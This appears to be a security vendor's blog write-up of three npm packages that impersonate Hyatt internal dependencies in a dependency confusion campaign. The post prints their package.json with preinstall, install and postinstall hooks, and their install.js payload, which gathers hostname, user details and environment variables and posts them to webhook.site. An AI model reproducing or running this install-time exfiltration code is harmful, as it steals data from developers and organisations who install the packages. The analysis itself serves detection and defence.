Malicious npm Packages Impersonating Hyatt Internal Dependencies
Table of Contents
TL;DR
Three malicious npm packages disguised as Hyatt internal dependencies were discovered on the npm registry, all published on October 23, 2025. The packages hyatt-residential-roster, hyatt-album, and hyatt-avatar share identical attack patterns and infrastructure, suggesting a coordinated campaign targeting internal applications at Hyatt.
All three packages use the suspicious version number 999.999.999, execute identical install hooks across all three npm lifecycle events (preinstall, install, postinstall), and claim to be published by “Hyatt IT Security Research”, a likely impersonation tactic to appear legitimate.
Note: High version numbers such as 999.999.999 are typically used for exploiting Dependency Confusion vulnerabilities.
| Package Name | Version | SafeDep Analysis |
|---|---|---|
| hyatt-residential-roster | 999.999.999 | Link |
| hyatt-album | 999.999.999 | Link |
| hyatt-avatar | 999.999.999 | Link |
All three packages share the following suspicious indicators:
- Abnormal version number:
999.999.999- typically used for testing or placeholder purposes - Multiple identical install hooks: All three packages execute
node install.jsduringpreinstall,install, andpostinstalllifecycle events - Minimal package size: Between 851-897 bytes compressed, with only 3 files each
- Same maintainer: Published by
pkgpusher6(jaddyday2@gmail.com) - Generic author attribution: All claim to be by “Hyatt IT Security Research”
- Same publication date: All published on October 23, 2025
Technical Analysis
Install Hook Exploitation
Unlike many malicious packages that use post-install hooks exclusively, this campaign employs a triple-hook strategy:
{ "scripts": { "preinstall": "node install.js", "install": "node install.js", "postinstall": "node install.js" }}This ensures the malicious payload executes at multiple points during the installation process, increasing the likelihood of successful compromise even if developers attempt to skip certain lifecycle hooks.
Malicious Payload Structure
Each package contains three files with the following structure:
package.json - Defines the triple install hook strategy:
{ "name": "hyatt-album", "version": "999.999.999", "description": "Hyatt album management system - Internal dependency", "main": "index.js", "scripts": { "install": "node install.js", "postinstall": "node install.js", "preinstall": "node install.js" }, "keywords": ["hyatt", "album", "media", "internal"], "author": "Hyatt IT Security Research", "license": "ISC"}index.js - Minimal stub file (~67-80 bytes) that provides no actual functionality, serving only to make the package appear legitimate:
module.exports = function () { console.log('Hyatt Album loaded');};install.js - The malicious payload (~823-836 bytes) that executes during installation:
const os = require('os');const { execSync } = require('child_process');const https = require('https');
console.log('🏨 Hyatt Residential Roster Loading...');
const data = { package: 'hyatt-album', timestamp: new Date().toISOString(), hostname: os.hostname(), platform: os.platform(), uptime: Math.floor(os.uptime()), user: os.userInfo(), env: { hyatt_vars: Object.keys(process.env).filter((k) => k.toLowerCase().includes('hyatt')), node_env: process.env.NODE_ENV, kubernetes: process.env.KUBERNETES_SERVICE_HOST, aws_region: process.env.AWS_REGION, npm_registry: process.env.npm_config_registry, },};
const req = https.request('https://webhook.site/hyatt', { method: 'POST', headers: { 'Content-Type': 'application/json' },});req.write(JSON.stringify(data, null, 2));req.end();The code performs the following malicious actions:
- Imports Node.js modules:
os,child_process,https - Collects comprehensive system information using
osmodule methods - Specifically targets environment variables to identify the infrastructure the application is running on
- Exfiltrates environment containing the keyword
hyatt - Serializes collected data to JSON format with pretty printing
- Sends data via HTTPS POST to
https://webhook.site/hyatt - Executes silently without user notification, disguised as a loading message
Data Exfiltration to External Server
All three packages contain code that collects system information and exfiltrates it to https://webhook.site/hyatt to identify the infrastructure the application is running on. The collected data includes:
- System information: hostname, platform, uptime, total memory
- User information: username and user details from
os.userInfo() - Environment variables: Specifically targeting:
- Variables containing ‘hyatt’
NODE_ENVKUBERNETES_SERVICE_HOST(Kubernetes deployments)AWS_REGION(AWS cloud environments)npm_config_registry(npm configuration)
- Package metadata: Package name and installation timestamp
- File system paths: Current working directory, home directory
The exfiltration occurs via HTTPS POST request to webhook.site, which is a public service often used for testing webhooks, making it convenient for attackers to collect data without setting up their own infrastructure.
Conclusion
This coordinated campaign of three malicious npm packages demonstrates a common approach to dependency confusion attacks through corporate package impersonation. Analysis of the data exfiltration patterns reveals a targeted focus on specific infrastructure indicators rather than comprehensive credential harvesting, suggesting this may represent a penetration testing exercise specific to Hyatt.
The exfiltrated data is notably limited in scope, collecting only:
KUBERNETES_SERVICE_HOST- indicating Kubernetes deployment environmentsAWS_REGION- identifying AWS cloud infrastructure presencenpm_config_registry- revealing npm registry configuration- Environment variables containing the keyword
hyatt
Stay Protected: Learn more about SafeDep’s malicious package detection at safedep.io or try our free tool vet today.
- vet
- cloud
- malware
- npm
Author
SafeDep Team
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering

Bitwarden CLI Supply Chain Compromise
A technical writeup of the malicious `@bitwarden/cli@2026.4.0` release linked to the Checkmarx campaign. Covers the poisoned publish path, loader changes, credential theft, GitHub abuse, and...

ixpresso-core: Windows RAT Disguised as a WhatsApp Agent
ixpresso-core poses as an AI WhatsApp agent on npm but installs Veltrix, a Windows RAT that steals browser credentials, Discord tokens, and keystrokes via a hardcoded Discord webhook.

Malicious Pull Requests: A Threat Model
A compact threat model of the malicious pull request as a supply chain attack primitive against GitHub Actions: attacker, goals, assets, controllable surface, and an attack vector taxonomy (V1...

PMG dependency cooldown: wait on fresh npm versions
Package Manager Guard (PMG) blocks malicious installs and now supports dependency cooldown, a configurable window that hides brand-new npm versions during resolution so installs prefer older,...

Ship Code.
Not Malware.
Start free with open source tools on your machine. Scale to a unified platform for your organization.
